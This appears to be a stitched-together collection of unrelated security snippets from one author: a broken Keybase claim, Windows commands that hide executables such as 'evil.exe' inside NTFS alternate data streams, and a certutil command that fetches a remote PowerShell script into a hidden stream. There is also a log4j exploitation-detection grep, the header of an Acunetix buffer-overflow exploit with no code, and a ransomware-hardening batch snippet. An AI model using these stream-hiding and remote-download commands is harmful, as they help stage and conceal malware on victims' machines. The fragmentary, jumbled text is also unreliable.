Oğuzhan Akkaya oakkaya

I hereby claim:

To claim this, I am signing this object:

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

You can use these commands and rules to search for exploitation attempts against log4j RCE vulnerability CVE-2021-44228

This command searches for exploitation attempts in uncompressed files in folder /var/log and all sub folders

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log

	#!/usr/bin/python
	# Title: Acunetix Web Vulnerability Scanner Buffer Overflow Exploit
	# Version: 8
	# Build: 20120704
	# Tested on: Windows XP SP2 en //Shellcode working on Xp and Linux x86 and x64,not working w7 or w8.You'll use different buf with head + junk mechanism to w7 or w8 system !
	# Vendor: http://www.acunetix.com/
	# Exploit Rebuild: Oğuzhan Akkaya.
	# @Smashthekernel
	# Original Advisory: http://an7isec.blogspot.co.il/2014/04/pown-noobs-acunetix-0day.html
	# /!\ Author is not responsible for any damage you cause

	::
	::#######################################################################
	::
	:: Change file associations to protect against common ransomware attacks
	:: Note that if you legitimately use these extensions, like .bat, you will now need to execute them manually from cmd or powershell
	:: Alternatively, you can right-click on them and hit 'Run as Administrator' but ensure it's a script you want to run :)
	:: ---------------------
	ftype htafile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
	ftype WSHFile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
	ftype batfile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"